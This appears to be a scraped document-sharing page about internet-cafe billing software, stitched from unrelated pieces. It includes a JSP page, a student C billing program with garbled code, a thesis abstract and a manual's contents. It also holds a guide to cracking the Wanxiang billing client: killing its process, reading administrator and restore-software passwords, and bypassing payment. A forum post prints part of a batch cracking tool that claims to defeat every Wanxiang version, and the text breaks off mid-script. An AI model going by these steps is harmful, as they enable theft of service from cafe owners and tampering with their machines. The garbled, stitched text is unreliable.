某某网吧计费系统破解附完整源代码
- 格式:pdf
- 大小:5.16 MB
- 文档页数:44
代码设计上机界面package org.apache.jsp.page.pc;import javax.servlet.*;import javax.servlet.http.*;import javax.servlet.jsp.*;import java.util.*;import com.tjuci.model.PC;public final class up_jsp extends org.apache.jasper.runtime.HttpJspBaseimplements org.apache.jasper.runtime.JspSourceDependent {private static final JspFactory _jspxFactory = JspFactory.getDefaultFactory();private static java.util.List _jspx_dependants;private javax.el.ExpressionFactory _el_expressionfactory;private org.apache.AnnotationProcessor _jsp_annotationprocessor;public Object getDependants() {return _jspx_dependants;}public void _jspInit() {_el_expressionfactory = _jspxFactory.getJspApplicationContext(getServletConfig().getServletContext()).getExpression Factory();_jsp_annotationprocessor = (org.apache.AnnotationProcessor) getServletConfig().getServletContext().getAttribute(org.apache.AnnotationProcessor.class.ge tName());}public void _jspDestroy() {}public void _jspService(HttpServletRequest request, HttpServletResponse response)throws java.io.IOException, ServletException {PageContext pageContext = null;HttpSession session = null;ServletContext application = null;ServletConfig config = null;JspWriter out = null;Object page = this;JspWriter _jspx_out = null;PageContext _jspx_page_context = null;try {response.setContentType("text/html;charset=UTF-8");pageContext = _jspxFactory.getPageContext(this, request, response,null, true, 8192, true);_jspx_page_context = pageContext;application = pageContext.getServletContext();config = pageContext.getServletConfig();session = pageContext.getSession();_jspx_out = out;out.write("\r\n");out.write("\r\n");out.write("\r\n");out.write("\r\n");out.write("<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\r\n");out.write("<html>\r\n");out.write(" <head>\r\n");out.write("\r\n");out.write(" <meta http-equiv=\"content\" content=\"text/html;charset=UTF-8\"/>\r\n");out.write(" <title>上机</title>\r\n");out.write(" <script type=\"text/javascript\">\r\n");out.write(" \t\r\n");out.write(" </script>\r\n");out.write(" </head>\r\n");out.write(" \r\n");out.write(" <body>\r\n");out.write(" \t\t");PC pc=(PC)request.getAttribute("pc");out.write("\r\n");out.write(" <form id=\"myform\" action=\"");out.print(request.getContextPath() );out.write("/submitUp.do?id=");out.print(pc.getId());out.write("\" method=\"post\" onsubmit=\"return check(this)\">\r\n");out.write(" \t\r\n");out.write(" <table align=\"center\" border=\"1\">\r\n");out.write(" <center><h2>用户上机界面</h2></center><hr/>\r\n");out.write(" \t<tr>\r\n");out.write(" \t\t<td>机器号</td>\r\n");out.write(" \t\t<td>");out.print(pc.getPno() );out.write("</td>\r\n");out.write(" \t</tr>\r\n");out.write(" \t<tr>\r\n");out.write(" \t\t<td>状态</td>\r\n");out.write(" \t\t<td>");out.print(pc.getPcState() );out.write("</td>\r\n");out.write(" \t</tr>\r\n");out.write(" \t<tr>\r\n");out.write(" \t\t<td>客户名</td>\r\n");out.write(" \t\t<td><input type=\"text\" id =\"username\" name=\"username\"out.write(" \t</tr>\r\n");out.write(" \t<tr>\r\n");out.write(" \t\t<td>消费额</td>\r\n");out.write(" \t\t<td><input type=\"text\" id =\"cost\" name=\"cost\" /></td>\r\n"); out.write(" \t</tr>\r\n");out.write(" \t<tr>\r\n");out.write(" \t\t<td>是否通宵</td>\r\n");out.write(" \t\t<td>\r\n");out.write(" \t\t<select name=\"isnight\">\r\n");out.write(" \t\t\t<option value=\"1\">否</option>\r\n");out.write(" \t\t\t<option value=\"0\">是</option>\r\n");out.write(" \t\t\t\r\n");out.write(" \t\t</select>\r\n");out.write(" \t\t</td>\r\n");out.write(" \t</tr>\r\n");out.write(" \t<tr align=\"center\">\r\n");out.write(" \t\t<td colspan=\"2\"><input type=\"submit\" value=\"提交\"/> <input type=\"reset\" value=\"重置\"/></td>\r\n");out.write(" \t</tr>\r\n");out.write(" \r\n");out.write(" </table>\r\n");out.write(" </form>\r\n");out.write(" </body>\r\n");out.write("</html>\r\n");} catch (Throwable t) {if (!(t instanceof SkipPageException)){out = _jspx_out;if (out != null && out.getBufferSize() != 0)try { out.clearBuffer(); } catch (java.io.IOException e) {}if (_jspx_page_context != null) _jspx_page_context.handlePageException(t);}} finally {_jspxFactory.releasePageContext(_jspx_page_context);}}}上机界面说明:管理员登陆上机界面时选择待机状态的机器输入客户名、消费额及是否通宵情况,并提交。
#include <stdio.h>#include <stdlib.h>#include <string.h>#include <conio.h>#define N 5struct user{char ID_card[30];char user_card[10];char user_level[50];float add_money; //充值};struct LinkList{struct user struct_user;LinkList *pNext;};struct control{char control_name[20];char control_password[15];}control_person={"apollo","apollo"};//管理员账户和密码设置////////////////////////////////void enter(int x);void tab(int x);void start();void login();void mainmenu();void submenu1();void submenu2();void submenu3();void submenu4();void xian_shi(LinkList *pHead);LinkList *adduser(LinkList *pHead);LinkList *addmoney(LinkList *pHead); //充值LinkList *shang_wang(LinkList *pHead); //上网LinkList *zhu_xiao(LinkList *pHead); //注销会员void save(LinkList *pTemp);LinkList *readsave();void cha_xun_shen(LinkList *pHead);void cha_xun_hui(LinkList *pHead);///////////////////////启动void start(){system("cls");for(int k=0;k<2;k++){for(int i=0;i<N;i++){system("color B");enter(7);tab(3);printf(" 星星网吧计费管理系统");enter(2);tab(4);printf(" ■");enter(1);tab(4);for(i=0;i<100000000;i++){}system("cls"); //circle 1 endenter(7);tab(3);printf(" 星星网吧计费管理系统");enter(2);tab(4);printf(" ■");enter(1);tab(4);for(i=0;i<100000000;i++){}system("cls"); //circle 2 endenter(7);tab(3);printf(" 星星网吧计费管理系统");enter(2);tab(4);printf(" ■");enter(1);tab(4);for(i=0;i<100000000;i++){}system("cls"); //circle 3 endenter(7);tab(3);printf(" 星星网吧计费管理系统"); enter(2);tab(4);printf(" ■");enter(1);tab(4);for(i=0;i<100000000;i++){}system("cls"); //circle 4 endenter(7);tab(3);printf(" 星星网吧计费管理系统"); enter(2);tab(4);printf(" ■");enter(1);tab(4);for(i=0;i<100000000;i++){}system("cls"); //circle 5 endenter(7);tab(3);printf(" 星星网吧计费管理系统"); enter(2);tab(4);printf(" ■");enter(1);tab(4);for(i=0;i<100000000;i++){}system("cls"); //circle 6 endenter(7);tab(3);printf(" 星星网吧计费管理系统"); enter(2);tab(4);printf(" ■");enter(1);tab(4);for(i=0;i<100000000;i++){}system("cls"); //circle 7 endenter(7);tab(3);printf(" 星星网吧计费管理系统");enter(2);tab(4);printf(" ■");enter(1);tab(4);for(i=0;i<100000000;i++){}system("cls"); //circle 8 endenter(7);tab(3);printf(" 星星网吧计费管理系统");enter(2);tab(4);printf(" ■");enter(1);tab(4);for(i=0;i<100000000;i++){}system("cls"); //circle 9 end }}login();}//登陆函数void login(){char name[20];char password[15];while(1){system("cls");enter(7);tab(3);printf(" 管理员登录");enter(2);tab(4);printf("Count:");fflush(stdin);if(strcmp(gets(name),control_person.control_name)==0){leap: system("cls");enter(7);tab(3);printf(" 管理员登录");enter(2);tab(4);printf("Password:");fflush(stdin);if(strcmp(gets(password),control_person.control_password)==0){mainmenu();break;}else{char ch;tab(4);printf("Your password is error!\n");tab(4);printf("Do you want to try again?(Y/N):");scanf("%c",&ch);if(ch=='Y' || ch=='y')goto leap;else if(ch=='N' || ch=='n')exit(0);else{system("cls");enter(7);tab(1);printf("Error!Please check your code then login again,thank you!\n");tab(3);exit(0);}}}else{char i;system("cls");enter(7);tab(4);printf("Your count is erorr!\n");tab(4);printf("Do you want to try again?(Y/N):");scanf("%c",&i);if(i=='Y' || i=='y')continue;else if(i=='N' || i=='n')exit(0);else{system("cls");enter(7);tab(1);printf("Error!Please check your code then login again,thank you!\n");tab(3);exit(0);}}}}//enter函数void enter(int x){for(int i=0;i<x;i++)printf("\n");}//tab函数void tab(int x){for(int i=0;i<x;i++)printf("\t");}//mainmenu主菜单void mainmenu(){struct LinkList *pHead=NULL; //初始化while(1){int i;system("cls");printf("\n\n\n\n\n\t\t\t********星星网吧计费管理系统*********\n");printf("\t\t\t** 1.注册会员**\n");printf("\t\t\t** **\n");printf("\t\t\t** 2.会员管理**\n");printf("\t\t\t** **\n");printf("\t\t\t** 3.注销**\n");printf("\t\t\t** **\n");printf("\t\t\t** 4.重启**\n");printf("\t\t\t** **\n");printf("\t\t\t** 5.关闭系统**\n");printf("\t\t\t*************************************\n");printf("\t\t\t请选择:");fflush(stdin);scanf("%d",&i);switch(i){case 1:pHead=adduser(pHead);break;case 2:submenu1();break;case 3:login();break;case 4:start();break;case 5:submenu2();break;default:printf("输入错误!\n");for(int j=0;j<100000000;j++){}break;}}}//submenu1会员管理菜单void submenu1(){struct LinkList *pHead=NULL;while(1){int i;system("cls");printf("\n\n\n\n\n\t\t\t**************会员管理***************\n");printf("\t\t\t** 1.会员消费**\n");printf("\t\t\t** **\n");printf("\t\t\t** 2.注销会员**\n");printf("\t\t\t** **\n");printf("\t\t\t** 3.查找会员信息**\n");printf("\t\t\t** **\n");printf("\t\t\t** 4.查询所有会员信息**\n");printf("\t\t\t** **\n");printf("\t\t\t** 5.返回上一级菜单**\n");printf("\t\t\t*************************************\n");printf("\t\t\t请选择:");fflush(stdin);scanf("%d",&i);switch(i){case 1:submenu3();break;case 2:pHead=zhu_xiao(pHead);break;case 3:submenu4();break;case 4:;xian_shi(pHead);break;case 5:mainmenu();break;default:printf("输入错误!\n");for(int j=0;j<100000000;j++){}break;}}}//submenu2关闭系统void submenu2(){system("cls");printf("\n\n\n\n\n\t\t\t********星星网吧计费管理系统*********\n");printf("\t\t\t** 谢谢您的使用! **\n");printf("\t\t\t** **\n");printf("\t\t\t** 欢迎再次使用! **\n");printf("\t\t\t** **\n");printf("\t\t\t** 技术支持: **\n");printf("\t\t\t** **************************\n");printf("\t\t\t** 版权所有: **\n");printf("\t\t\t** 湖南长沙英泰学院09081A班**\n");printf("\t\t\t** 2009.10 **\n");printf("\t\t\t*************************************\n");exit(0);}//submenu3消费菜单void submenu3(){int i;LinkList *pHead=NULL;while(1){system("cls");printf("\n\n\n\n\n\t\t\t**********消费内容*******************\n");printf("\t\t\t** 1.充值**\n");printf("\t\t\t** **\n");printf("\t\t\t** 2.上网**\n");printf("\t\t\t** **\n");printf("\t\t\t** 3.返回上一级菜单**\n");printf("\t\t\t*************************************\n");printf("\t\t\t请选择:");fflush(stdin);scanf("%d",&i);switch(i){case 1:pHead=addmoney(pHead);break;case 2:pHead=shang_wang(pHead);break;case 3:submenu1();break;default:printf("输入错误!请重新输入!\n");for(int j=0;j<100000000;j++){}break;}}}//submenu4会员查找函数void submenu4(){int i;LinkList *pHead=NULL;while(1){system("cls");printf("\n\n\n\n\n\t\t\t**************查找会员***************\n");printf("\t\t\t** 1.按身份证号码查找**\n");printf("\t\t\t** **\n");printf("\t\t\t** 2.按会员卡号号码查找**\n");printf("\t\t\t** **\n");printf("\t\t\t** 3.返回上一级菜单**\n");printf("\t\t\t*************************************\n");printf("\t\t\t请选择:");fflush(stdin);scanf("%d",&i);switch(i){case 1:cha_xun_shen(pHead);break;case 2:cha_xun_hui(pHead);break;case 3:submenu1();break;default:printf("输入错误!请重新输入!\n");for(int j=0;j<100000000;j++){}break;}}}//新会员注册LinkList *adduser(LinkList *pHead){LinkList *pTemp,*p;system("cls");pTemp=(LinkList *)malloc(sizeof(struct LinkList));if(pTemp==NULL)return pHead;leap:printf("\n\n\n\n\t\t");printf("输入第二代身份证号码(18位):");fflush(stdin);gets(pTemp->struct_user.ID_card);for(int i=0;i<17;i++){if(pTemp->struct_user.ID_card[i]>'9' || pTemp->struct_user.ID_card[i]<'0') //如果输入的信息大于9小于0的范围(输入的不是数字){system("cls");printf("输入的不是纯数字!\n请重新输入!\n");goto leap;}else if(strlen(pTemp->struct_user.ID_card)!=18 || strlen(pTemp->struct_user.ID_card)==0){system("cls");printf("输入不合法!\n请重新输入!\n");goto leap;}}loop:printf("\n\t\t");printf("请输入卡号(8位):");fflush(stdin);gets(pTemp->struct_er_card);for(i=0;i<8;i++){if(pTemp->struct_er_card[i]>'9' || pTemp->struct_er_card[i]<'0') //如果输入的信息大于9小于0的范围(输入的不是数字){system("cls");tab(3);printf("输入的不是纯数字!\n请重新输入!\n");goto loop;}else if(strlen(pTemp->struct_er_card)!=8 || strlen(pTemp->struct_er_card)==0){system("cls");printf("输入不合法!\n请重新输入!\n");goto loop;}}k: printf("\n\n\t\t|-----------会员优惠活动------------|\n");printf("\t\t| 普通会员>0 <=10元|\n");printf("\t\t| 铜卡会员>10 <=20元+10元|\n");printf("\t\t| 银卡会员>20 <=30元+20元|\n");printf("\t\t| 金卡会员>30 <=50元+30元|\n");printf("\t\t| VIP会员充100元送80元|\n");printf("\t\t|-----------------------------------|\n");printf("\t\t");printf("充值:");fflush(stdin);scanf("%f",&(pTemp->struct_user.add_money)); //充值if(pTemp->struct_user.add_money>1000 || pTemp->struct_user.add_money<=0) //如果输入的信息大于9小于0的范围(输入的不是数字){system("cls");printf("输入错误!\n请重新输入!\n");goto k;}else if(pTemp->struct_user.add_money>0 && pTemp->struct_user.add_money<=10){tab(2);strcpy(pTemp->struct_er_level,"普通会员");printf("■恭喜你!你已成为本网吧普通会员!■\n");}else if(pTemp->struct_user.add_money>10 && pTemp->struct_user.add_money<=20){tab(2);strcpy(pTemp->struct_er_level,"铜卡会员");printf("■恭喜你!你已成为本网吧铜卡会员!■\n");pTemp->struct_user.add_money+=10;}else if(pTemp->struct_user.add_money>20 && pTemp->struct_user.add_money<=30) {tab(2);strcpy(pTemp->struct_er_level,"银卡会员");printf("■恭喜你!你已成为本网吧银卡会员!■\n");pTemp->struct_user.add_money+=20;}else if(pTemp->struct_user.add_money>=30 && pTemp->struct_user.add_money<100) {tab(2);strcpy(pTemp->struct_er_level,"金卡会员");printf("■恭喜你!你已成为本网吧金卡会员!■\n");pTemp->struct_user.add_money+=30;}else if(pTemp->struct_user.add_money>=100){tab(2);strcpy(pTemp->struct_er_level,"VIP会员");printf("■恭喜你!你已成为本网吧VIP会员!■\n");pTemp->struct_user.add_money+=80;}pTemp->pNext=NULL;//////////////////if(pHead==NULL)pHead=pTemp;else{p=pHead;while(p->pNext!=NULL)p=p->pNext;p->pNext=pTemp;}save(pTemp);return pHead;}//保存会员注册void save(LinkList *pTemp){FILE *fp=fopen("user","ab");if(fp==NULL){tab(3);printf("读取失败!\n");exit(0);}tab(3);printf("开始保存文件!\n");if(fwrite(pTemp,sizeof(struct LinkList),1,fp)==1){tab(3);printf("文件保存成功!\n");getch();}else{tab(3);printf("文件保存失败!\n");getch();}fclose(fp);}//读取保存LinkList *readsave(){LinkList *pHead=NULL,*p;FILE *fp;fp=fopen("user","rb");if(fp==NULL){tab(3);printf("文件打开失败!\n");getch();return pHead;}while(!feof(fp)){LinkList *pTemp=(LinkList*)malloc(sizeof(LinkList));int t=fread(pTemp,sizeof(struct LinkList),1,fp);pTemp->pNext=NULL;if(t>0){if(pHead==NULL){pHead=pTemp;}else{p=pHead;while(p->pNext!=NULL)p=p->pNext;p->pNext=pTemp;}}elsebreak;}fclose(fp);return pHead;}//显示所有会员信息void xian_shi(LinkList *pHead){FILE *fp=fopen("user","rb");if(fp==NULL){system("cls");printf("\n\n\n\n\n\n\n\n\t\t\t\t");printf("没有会员信息!\n");getch();return;}LinkList *pTemp,*p;pTemp=(LinkList *)malloc(sizeof(LinkList));int count=0;system("cls");enter(5);printf(" -----------------------|-------------|--------------|--------------\n");printf("\t身份证号码\t\t会员卡号\t卡上余额\t会员级别\n");printf(" -----------------------|-------------|--------------|--------------\n");while(!feof(fp)){int t=fread(pTemp,sizeof(LinkList),1,fp);pTemp->pNext=NULL;//////////////////if(t>0){count++;if(pHead==NULL){pHead=pTemp;}else{p=pHead;while(p->pNext!=NULL)p=p->pNext;p->pNext=pTemp;}}else{break;}printf("\t%-20s\t%-10s\t%-5.1f元\t\t%-6s\n",pTemp->struct_user.ID_card,pTemp->struct_er_card,pTemp->struct_user.add_ money,pTemp->struct_er_level);}printf(" -----------------------|-------------|--------------|--------------\n");printf("\n\t\t共有会员%d个\n",count);getch();fclose(fp);}//查找会员信息(按身份证号码查找)void cha_xun_shen(LinkList *pHead){LinkList *pTemp;char shen_fen[100];system("cls");enter(9);tab(3);printf("身份证号码:");fflush(stdin);gets(shen_fen);if(strlen(shen_fen)!=18){tab(3);printf("输入错误!\n");getch();return;}pHead=readsave();if(pHead==NULL){tab(3);printf("没有找到会员信息或会员不存在!\n");getch();return;}pTemp=pHead;while(pTemp){if(strcmp(pTemp->struct_user.ID_card,shen_fen)==0){system("cls");enter(5);printf(" -----------------------|-------------|--------------|--------------\n");printf("\t身份证号码\t\t会员卡号\t卡上余额\t会员级别\n");printf(" -----------------------|-------------|--------------|--------------\n");printf("\t%-20s\t%-10s\t%-5.1f元\t\t%-6s\n",pTemp->struct_user.ID_card,pTemp->struct_er_card,pTemp->struct_user.add_ money,pTemp->struct_er_level);printf(" -----------------------|-------------|--------------|--------------\n");getch();break;}pTemp=pTemp->pNext;}}//查找会员信息(按会员卡号查找)void cha_xun_hui(LinkList *pHead){LinkList *pTemp;char shen_fen[100];system("cls");enter(9);tab(3);printf("卡号(8位:");fflush(stdin);gets(shen_fen);if(strlen(shen_fen)!=8){tab(3);printf("输入错误!\n");getch();return;}pHead=readsave();if(pHead==NULL)tab(3);printf("没有找到会员信息或会员不存在!\n");getch();return;}pTemp=pHead;while(pTemp){if(strcmp(pTemp->struct_er_card,shen_fen)==0){system("cls");enter(5);printf(" -----------------------|-------------|--------------|--------------\n");printf("\t身份证号码\t\t会员卡号\t卡上余额\t会员级别\n");printf(" -----------------------|-------------|--------------|--------------\n");printf("\t%-20s\t%-10s\t%-5.1f元\t\t%-6s\n",pTemp->struct_user.ID_card,pTemp->struct_er_card,pTemp->struct_user.add_ money,pTemp->struct_er_level);printf(" -----------------------|-------------|--------------|--------------\n");getch();break;}pTemp=pTemp->pNext;}}//保存充值、注销和上网消费后的后的会员信息void save_chong(LinkList *pHead){FILE *fp=fopen("user","wb");if(fp==NULL){tab(3);printf("文件打开失败!\n");getch();return;}LinkList *pTemp;pTemp=pHead;if(pHead==NULL){printf("没有找到会员信息!\n");getch();return;printf("开始保存修改!\n");while(pTemp){fwrite(pTemp,sizeof(LinkList),1,fp);pTemp=pTemp->pNext;}printf("保存成功!\n");getch();fclose(fp);}//充值LinkList *addmoney(LinkList *pHead){LinkList *pTemp;char shen_fen[100];system("cls");enter(9);tab(3);printf("卡号(8位):");fflush(stdin);gets(shen_fen);if(strlen(shen_fen)!=8){tab(3);printf("输入错误!\n");getch();return pHead;}pHead=readsave(); //very importantif(pHead==NULL){tab(3);printf("没有找到会员信息或会员不存在!\n");getch();return pHead;}pTemp=pHead;while(pTemp){if(strcmp(pTemp->struct_er_card,shen_fen)==0){system("cls");enter(5);printf(" -----------------------|-------------|--------------|--------------\n");printf("\t身份证号码\t\t会员卡号\t卡上余额\t会员级别\n");printf(" -----------------------|-------------|--------------|--------------\n");printf("\t%-20s\t%-10s\t%-5.1f元\t\t%-6s\n",pTemp->struct_user.ID_card,pTemp->struct_er_card,pTemp->struct_user.add_ money,pTemp->struct_er_level);printf(" -----------------------|-------------|--------------|--------------\n");float m=pTemp->struct_user.add_money;printf("请输入充值金额:");scanf("%f",&(pTemp->struct_user.add_money));pTemp->struct_user.add_money+=m;save_chong(pHead);break;}pTemp=pTemp->pNext;}return pHead;}//上网LinkList *shang_wang(LinkList *pHead){LinkList *pTemp;char shen_fen[100];system("cls");enter(2);printf("\n\n\n\n\t\t\t**********网吧计费管理系统***********\n");printf("\t\t\t** 1.普通会员3元/时**\n");printf("\t\t\t** **\n");printf("\t\t\t** 2.铜卡会员 2.5元/时**\n");printf("\t\t\t** **\n");printf("\t\t\t** 3.银卡会员2元/时**\n");printf("\t\t\t** **\n");printf("\t\t\t** 4.金卡会员 1.5元/时**\n");printf("\t\t\t** **\n");printf("\t\t\t** 5.VIP会员1元/时**\n");printf("\t\t\t*************************************\n");printf("请输入会员卡号码(8位数字):");fflush(stdin);gets(shen_fen);if(strlen(shen_fen)!=8){tab(3);printf("输入错误!\n");getch();return pHead;}pHead=readsave(); //读取文件if(pHead==NULL) //如果头指针为空,说明没有该链表{tab(3);printf("没有找到会员信息或会员不存在!\n");getch();return pHead;}pTemp=pHead; //头指针不为空while(pTemp) //访问节点{if(strcmp(pTemp->struct_er_card,shen_fen)==0) //如果找到与输入的会员卡号相同{ //则输出该会员信息printf(" -----------------------|-------------|--------------|--------------\n");printf("\t身份证号码\t\t会员卡号\t卡上余额\t会员级别\n");printf(" -----------------------|-------------|--------------|--------------\n");printf("\t%-20s\t%-10s\t%-5.1f元\t\t%-6s\n",pTemp->struct_user.ID_card,pTemp->struct_er_card,pTemp->struct_user.add_ money,pTemp->struct_er_level);printf(" -----------------------|-------------|--------------|--------------\n");float m=pTemp->struct_user.add_money;//上网前的卡上余额float time;printf("请输入上网时间(时):");fflush(stdin);scanf("%f",&time);if(strcmp(pTemp->struct_er_level,"普通会员")==0) //按会员级别来管理{ //每小时上网的费用pTemp->struct_user.add_money=m-3*time; //上网后的卡上余额save_chong(pHead); //保存修改后的内容break;}else if(strcmp(pTemp->struct_er_level,"铜卡会员")==0){pTemp->struct_user.add_money=m-2.5f*time;save_chong(pHead);break;}else if(strcmp(pTemp->struct_er_level,"银卡会员")==0){pTemp->struct_user.add_money=m-2*time;save_chong(pHead);break;}else if(strcmp(pTemp->struct_er_level,"金卡会员")==0){pTemp->struct_user.add_money=m-1.5f*time;save_chong(pHead);break;}else if(strcmp(pTemp->struct_er_level,"VIP会员")==0){pTemp->struct_user.add_money=m-1*time;save_chong(pHead);break;}}pTemp=pTemp->pNext;//指针指向下一个查找,直到找到满足上面条件为止}return pHead;}//注销会员LinkList *zhu_xiao(LinkList *pHead){LinkList *pTemp,*p;char shen_fen[100];system("cls");enter(9);tab(3);printf("卡号:");fflush(stdin);gets(shen_fen);pHead=readsave(); //读取文件if(pHead==NULL) //如果头节点为空,表示这条链表没有内容,或者没有这条链表{tab(3);printf("没有找到会员信息或会员不存在!\n");return pHead;}pTemp=pHead; //指针指向头节点while(pTemp)//访问节点{if(strcmp(pTemp->struct_er_card,shen_fen)==0)//寻找要删除的会员卡号,找到后输出{system("cls");enter(5);printf(" -----------------------|-------------|--------------|--------------\n");printf("\t身份证号码\t\t会员卡号\t卡上余额\t会员级别\n");printf(" -----------------------|-------------|--------------|--------------\n");printf("\t%-20s\t%-10s\t%-5.1f元\t\t%-6s\n",pTemp->struct_user.ID_card,pTemp->struct_er_card,pTemp->struct_user.add_ money,pTemp->struct_er_level);printf(" -----------------------|-------------|--------------|--------------\n");char ch;printf("\n你要注销该会员吗?(Y/N)\n");scanf("%c",&ch);switch(ch){case 'Y':case 'y':{if(pTemp==pHead) //如果要删除的是头节点{pHead=pTemp->pNext; //把头节点指针指向第二个节点,并把头节点覆盖printf("注销成功!\n");getch();break;}p=pHead;//不是头节点,把指针指向头节点while(1){if(p->pNext==pTemp) //如果p的指针域指向找到的节点pTemp{p->pNext=pTemp->pNext;//则把pTemp的指针域指向的下一个节点付给p的指针域printf("注销成功!\n");//删除成功getch();break;}p=p->pNext;//寻找p->pNext和要删除节点pTemp的交合}}break;case 'N':case 'n':break;}}pTemp=pTemp->pNext;//寻找shen_fen和节点的交合}save_chong(pHead);system("cls");return pHead;}//主函数void main(){start();mainmenu();}。
毕业论文(设计)基于java技术的网吧管理计费系统的设计与实现学生姓名 ***学号 BC1033****指导教师赵磊副教授年级 2010级专业计算机科学与技术系别信息科学系摘要随着科学技术的不断提高,计算机科学与技术日趋成熟,计算机应用到生产和生活的各个领域,发挥了越来越重要的作用.作为计算机应用的一部分,使用计算机对网吧信息进行管理,具有手工操作无法比拟的优点,例如:检索迅速,查找方便,可靠性高,存储量大,寿命长,成本低等,因此研究开发网吧计费系统具有可行的实际意义。
本系统是一个功能比较强大的网吧计费系统。
该系统信息来源主要由管理员添加,方便网站管理员的查询和管理。
该系统的任务是方便,灵活的管理网吧的各项信息,包括对每台电脑配置管理、会员用户管理、上机时间计算、金额计算等。
系统主要有添加,查找,删除,统计等功能模块组成。
本系统会做到满足网吧管理日常工作的需要,使用方便,界面亲切,安全可靠.关键词:网吧计费系统;信息管理;安全AbstractWith the continuous improvement of science and technology, computer science and technology matures, computer application to the production and in all spheres of life,has played an increasingly important role。
As part of computer applications,the use of computers to the community information management, with manual unmatched advantages,such as:the rapid retrieval, find convenient,high reliability and large storage capacity, long life,low cost, so research and development of Internet cafes fee system is feasible,practical significance。
万象网管破解专篇网吧多,自然网吧管理软件也多。
但是万象网吧管理系统由于其使用方便,易于管理,一直在这个市场占据半壁江山。
相信很多经常上网吧的朋友一定见过它。
我们学校的的十几家网吧有至少10家使用这个网吧管理软件。
蝙蝠我钱包10张卡有9张是网吧的上机卡,而且都是万象的。
学校的学生每个月都生活费有限,而且都上网时间富余的要死,关于这个软件的破解一直都是激烈,破解类的文章在网上一搜一大堆。
我就几种经常见的来逃避软件计费的方法总结一下1.正常启动windows,在进入win桌面时按下ctrl+alt+del,出现任务管理器,我们可以看见其中有一个名字叫client的进程,这个就是万象的客户端程序,把它结束任务。
之后马上再次按下ctrl+alt+del,看见里面还有个client的进程,再次杀掉它,这是因为万象有自身防杀功能,被杀掉进程后会再次启动一次,不过也仅仅是两次。
这下我们就可以使用了,机子不会再出现要求输入卡号和密码的界面。
此招我屡试屡爽,从不失手,不过要求掌握好按键的时机。
2.正常开机,输入自己的卡号和密码进入系统,然后马上右键点击任务栏的万象客户管理系统的图标,选择结帐下机,系统提示是否真的下机,在点确定的同时按下“sleep”键,这个时候win会提示出现错误,然后你会发现自己已经下机了,但是却并没有出现万象的客户端界面。
^_^我们就可以免费玩了。
唯一的遗憾试成功率太低,我在试验了十几家网吧后只成功一次,建议不要使用。
3.利用卡号和密码进入系统后,下载读取万象管理软件密码的工具来读取密码,读出密码后,记住密码,然后结帐下机,出现万象客户界面后,在下面管理员密码中输入刚才读出的密码。
ok了。
大家都知道美萍和pubwin的管理员密码是保存在本地的,打开它们的安装目录后,在里面都可以找到设置文件,用记事本打开就可以找到。
我想万象也应该是这样,大家如果找不到读密码的软件,可以试着手动破解一下。
4.上面3中的工具如果找不到,而网吧有还原精灵,我们还可以利用它,下载“还原精灵密码读取器”,读出还原精灵密码,右键还原精灵的图标,选择“设置参数”,选中不还原,输入刚才读的密码。
网吧软件计费管理系统使目录目录 (2)第一章系统概述 (3)1.1 . 系统功能概述 (3)1.2 . 系统主要特点 (3)第二章系统操作 (4)2.1 . 网监系统使用说明 (4)2.1.1 登陆系统 (4)2.1.2 网监监控中心 (4)2.1.3 机房终端管理 (5)2.1.3.1 机房管理 (5)2.1.3.2 添加终端 (7)2.1.3.3 移动终端 (8)2.1.3.4 删除终端 (8)2.1.3.5 远程关机 (9)2.1.4 规则设置 (9)2.1.4.1 优惠时段 (10)2.1.4.2 专场时段 (10)2.1.4.3 会员/赠送相关 (11)2.1.4.3.1 会员规则 (11)2.1.4.3.2 赠送规则 (12)2.1.4.3.3 充值优惠规则 (14)2.1.4.3.4 包时卡规则 (14)2.1.4.3.5 专场卡规则 (15)2.1.4.3.6 积分规则 (16)2.1.5 系统管理 (17)2.1.5.1 收银端管理 (17)2.1.5.2 系统设置 (18)2.1.5.2.1 系统参数设置 (19)2.1.5.2.2 客户端设置 (20)2.1.5.2.3 操作员设置 (22)2.1.5.2.4 卡号管理 (24)2.1.5.2.5 系统日志 (24)2.1.5.2.6 微信财务查询 (25)2.1.5.3 修改登陆密码 (27)2.1.5.4 登陆/锁定/退出系统 (27)2.1.6 查询统计 (27)2.1.6.1 预约找人 (27)2.1.6.2 查询........................ . (28)2.1.6.3 决策统计 (29)2.2 . 发卡系统使用说明 (31)2.2.1 上机/下机 (32)2.2.1.1 上机收费(F1) (32)2.2.1.2 下机结账(F2) (39)网吧软件计费管理系统使2.2.2 财务/查询 (40)2.2.2.1 账务管理 (41)2.2.2.2 查询统计 (44)2.2.2.3 会员信息 (48)2.2.3 系统管理 (50)2.2.3.1 更改登陆密码 (50)2.2.3.2 系统设置 (51)2.2.3.3 退出/锁定 (52)2.3 . 客户端软件说明 (54)2.3.1 客户端安装程序 (54)2.3.2 客户端界面 (54)网吧软件计费管理系统使第一章系统概述1.1 . 系统功能概述奥比特网吧计费管理系统(软件版)集合多款网吧机房计费管理系统的精华,具有灵活多样的费率设置、强大的会员管理、普通用户管理、远程监控、微信上下机及查询、详细的上机记录及充值加钱记录功能,可实现用户自由择机、支持远程查账、统一安装,是大中小型网吧智能管理计费的理想选择。
网维大师论坛's Archiver网维论坛› 网吧综合技术讨论› 首发万象破解全分析请各位根据代码直接封锁标号:无敌IV5.1:首发万象破解全分析请各位根据代码直接封锁标号:无敌IV5.1:[b]这个是程序的原代码:[/b][color=Red]@shift@echo off@title %time%color 0A:psandadecho.echo *无敌IV5.1echo --------------------------------------------------echo.echo 本工具自动检测主机IP地址echo 自动创建IP安全策略并指派echo.echo 可破解万象目前任何版本echo 注销后直接回车即可echo.echo QQ交流群:24948543echo 51068683echo.echo Ps:5.1几乎解决了工具自身的问题echo 有些网吧是IPX协议的请自行解决echo.echo --------------------------------------------------echo *汕尾黑客联盟:[url][/url]echo *网吧幽灵:[url][/url]echo.&echo.pausegoto IFclsmn::判断是否已经破解:IFclsmnclsecho.echo -------------------------------------------------- echo -= 无敌IV5.1 =-echo.echo by 源始语言echo.echo 汕尾黑客联盟echo [url][/url]echo -------------------------------------------------- echo.&echo.if exist c:\windows\system32\clsmn_.exe goto Ternet if exist c:\windows\system32\clsmn.exe goto Main echo 未发现万象客户端echo.echo 请确认所在网吧使用万象计费系统echo.&echo.del %myfiles%\ipseccmd.exe>nuldel %myfiles%\winipsec.dll>nuldel %myfiles%\wx32.dll>nuldel %myfiles%\wxman.dll>nulpauseexit:Ternetecho 本机已经破解,无需再次使用本工具echo.&echo.del %myfiles%\ipseccmd.exe>nuldel 